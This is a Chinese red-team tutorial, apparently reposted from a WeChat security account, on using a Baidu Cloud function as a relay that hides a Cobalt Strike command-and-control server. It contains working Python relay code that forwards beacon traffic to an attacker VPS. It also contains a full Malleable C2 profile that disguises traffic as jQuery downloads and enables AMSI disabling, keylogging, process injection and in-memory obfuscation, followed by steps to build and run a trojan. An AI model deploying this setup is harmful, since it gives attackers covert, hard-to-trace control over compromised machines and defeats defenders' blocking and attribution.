免责声明
合法使用原则:文中提及的技术、工具或案例,仅用于授权范围内的安全测试、防御研究或合规技术分享,未经授权的网络攻击、数据窃取等行为均属违法,需承担法律责任。
风险自担与责任豁免:文章内容基于公开信息整理,不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险,若因不当使用导致任何法律后果或损失,均由使用者自行承担,与本公众号及作者无关。
法律管辖与提示:本公众号坚决拥护相关法律法规,反对任何危害网络安全的行为,读者需严格遵守法律法规。
前言
-
在云厂商提供函数服务以后,基本上云函数都会被标记(封掉),所以对于安全防御做的特别好的单位用处基本不大;
-
以前可以使用腾讯云的云函数,但是下架了API网关触发的功能;然后华为云的函数服务我也试了一下,貌似API触发器也g(要钞能力)了,所以这里用百度云的云函数进行讲解。
一、云函数介绍
-
云函数是一种无服务器(Serverless)计算服务,开发者只需上传代码并设置触发条件,云平台负责自动分配资源、执行代码并按需收费。其核心特点是事件驱动和无服务器架构,用户无需管理底层服务器、操作系统或运维资源。 -
原理
-
事件触发:云函数通过事件(如HTTP请求、文件上传、数据库变更等)触发执行,用户预先将代码部署到云平台,并绑定事件源(如API网关、对象存储、消息队列等)。 -
资源分配:当事件发生时,云平台动态分配计算资源(如容器实例)加载代码运行,执行完毕后立即释放资源,避免闲置成本。 -
自动扩缩容:高并发时云函数自动复制多个实例并行处理请求,流量下降时自动缩减实例,实现弹性伸缩。 -
按需计费:根据实际执行的代码时长和内存消耗计费,而非预付费或固定服务器成本。
二、云函数在红队中的运用
-
云函数可以用于攻击防溯源,隐匿自己的C2的ip,从蓝队的角度来讲,会看到一个主机的联网行为会非常奇怪,这个主机会跟多个节点有反向连接,但节点是代理池的表现形式(比如多个ip,或者说是一个主域名的多个子域名); -
从红队角度来讲就是隐藏,类似于域前置,相当于被攻击者控制的那台主机,通过代理池的表现形式(多节点)的方式回到了C2某个端口上; -
也就是说可以利用云厂商提供的云函数功能,将客户端的请求进行转发,并且由于云函数拥有非常多的出口IP,所以一定程度上可以减小IP被封禁的影响,也能隐藏攻击者的源IP。 -
流量走向
三、通过云函数搭建代理池,隐藏C2地址(百度云举例)
-
登录百度云,使用函数计算服务
-
地址:https://cloud.baidu.com/product/cfc.html
-
创建函数-->空白函数
-
填写基础信息(选择Python3.6)
-
触发器设置:选择http触发器、URL路径填写 {path+}
,HTTP方法全选,然后点提交
-
点击进入代码编辑页
-
输入以下代码然后保存
# -*- coding: utf-8 -*-
# def handler(event, context):
# return "Hello World"
import json,requests,base64
def handler(event, context):
C2='https://VPS地址(C2服务端):443'# 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
#return event
return response
-
在CS客户端所在目录放置profile文件,并且启动时调用该profile文件
-
文件内容如下
# Malleable C2 Profile
# Version: CobaltStrike 4.5
# File: jquery-c2.4.5.profile
# Description:
# c2 profile attempting to mimic a jquery.js request
# uses signed certificates
# or self-signed certificates
# Authors: dabaige
set sample_name "jquery-c2.4.5-jx";
set sleeptime "1000"; # 45 Seconds
set jitter "50"; # % jitter
set data_jitter "100";
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
https-certificate {
set C "CN"; #国家
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
set keystore "cobaltstrike.store"; # 证书文件
set password "l@123456"; # 证书密码
}
set tcp_port "42585";
set tcp_frame_header "x80";
set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "x80";
dns-beacon {
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_max_txt "252";
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_ttl "5";
set maxdns "255";
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
# DNS subhosts override options, added in version 4.3
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename "wkssvc##";
set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments
展开收缩||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments展开收缩))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(""),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="r";# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(""),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
}
}
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
stage {
# CS 4.2 added allocator and MZ header overrides
set allocator "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
#set magic_mz_x86 "MZRE";
#set magic_mz_x64 "MZAR";
set magic_pe "NO";
set userwx "false";
set stomppe "true";
set obfuscate "true";
set cleanup "true";
# CS 3.12 Addition "Obfuscate and Sleep"
set sleep_mask "true";
# CS 4.1
set smartinject "true";
# Make the Beacon Reflective DLL look like something else in memory
# Values captured using peclone agaist a Windows 10 version of explorer.exe
set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set rich_header "x75x92x8dx57x7exdaxcdx57xf8x85x35xabx72x6ax6exeexa2x86x29x6c";
## WARNING: Module stomping
# Cobalt Strike 3.11 also adds module stomping to Beacon's Reflective Loader. When enabled, Beacon's loader will shun VirtualAlloc and instead load a DLL into the current process and overwrite its memory.
# Set module_x86 to a favorite x86 DLL to module stomp with the x86 Beacon. The module_x64 option enables this for the x64 Beacon.
# While this is a powerful feature, caveats apply! If the library you load is not large enough to host Beacon, you will crash Beacon's process. If the current process loads the same library later (for whatever reason), you will crash Beacon's process. Choose carefully.
# By default, Beacon's loader allocates memory with VirtualAlloc. Module stomping is an alternative to this. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon's x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It's important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon.
# Details can be found in the In-memory Evasion video series. https://youtu.be/uWVH9l2GMw4
# set module_x64 "netshell.dll";
# set module_x86 "netshell.dll";
# The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
transform-x86 { # transform the x86 rDLL stage
prepend "x87xdbx66x87xd2x49x66x90x87xd2x0fx1fx00x87xc9x41x66x87xc9x42x44x0fx1fx00x40x40x66x87xdbx0fx1fx04x00x48x46x4cx90x45x43x47x66x0fx1fx04x00x0fx1fx00"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
transform-x64 { # transform the x64 rDLL stage
prepend "x87xdbx66x87xd2x49x66x90x87xd2x0fx1fx00x87xc9x41x66x87xc9x42x44x0fx1fx00x40x40x66x87xdbx0fx1fx04x00x48x46x4cx90x45x43x47x66x0fx1fx04x00x0fx1fx00"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
}
stringw "jQuery"; # Add this string to the DLL
}
post-ex {
# 指定了32位Beacon在执行后渗透(post-exploitation)任务时注入shellcode的目标程序路径
set spawnto_x86 "%windir%\syswow64\WerFault.exe";
set spawnto_x64 "%windir%\sysnative\WerFault.exe";
# 启用对后渗透DLL的混淆
set obfuscate "true";
# 启用智能注入功能
set smartinject "true";
# 禁用AMSI
set amsi_disable "true";
# 定义了用于后渗透任务的命名管道名称。
set pipename "Winsock2\CatalogChangeListener-###-0,";
# 设置键盘记录使用的函数
set keylogger "GetAsyncKeyState";
}
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "17500";
# Set memory permissions as permissions as initial=RWX, final=RX
set startrwx "false";
set userwx "false";
transform-x86 {
prepend "x87xdbx66x87xd2x49x66x90x87xd2x0fx1fx00x87xc9x41x66x87xc9x42x44x0fx1fx00x40x40x66x87xdbx0fx1fx04x00x48x46x4cx90x45x43x47x66x0fx1fx04x00x0fx1fx00";
#append "x90x90";
}
transform-x64 {
prepend "x87xdbx66x87xd2x49x66x90x87xd2x0fx1fx00x87xc9x41x66x87xc9x42x44x0fx1fx00x40x40x66x87xdbx0fx1fx04x00x48x46x4cx90x45x43x47x66x0fx1fx04x00x0fx1fx00";
#append "x90x90";
}
execute {
CreateThread "ntdll!RtlUserThreadStart+0x42";
CreateThread;
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
-
创建监听器
-
HTTP地址在触发器这里输入云函数提供的域名(要把 https://
去掉,还要把末尾的/{path+}
也去掉)
-
注意:这里的Beacon类型和端口号要和前面云函数代码规定的 C2='https://VPS地址(C2服务端):443'
保持一致(此时为https协议,443端口)
-
此时生成木马,在测试机上执行上线
-
然后在测试机上通过wireshark抓取流量,由于恶意木马会从受害者本地解析云函数地址,因此DNS流量中可以看到云函数地址为百度的子域名而不是攻击者的ip
-
在科来分析工具上也能看到识别的不是攻击者VPS的ip
原文始发于微信公众号(AegisGuard):分享一种比较古老的隐藏C2的方法-百度云函数
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论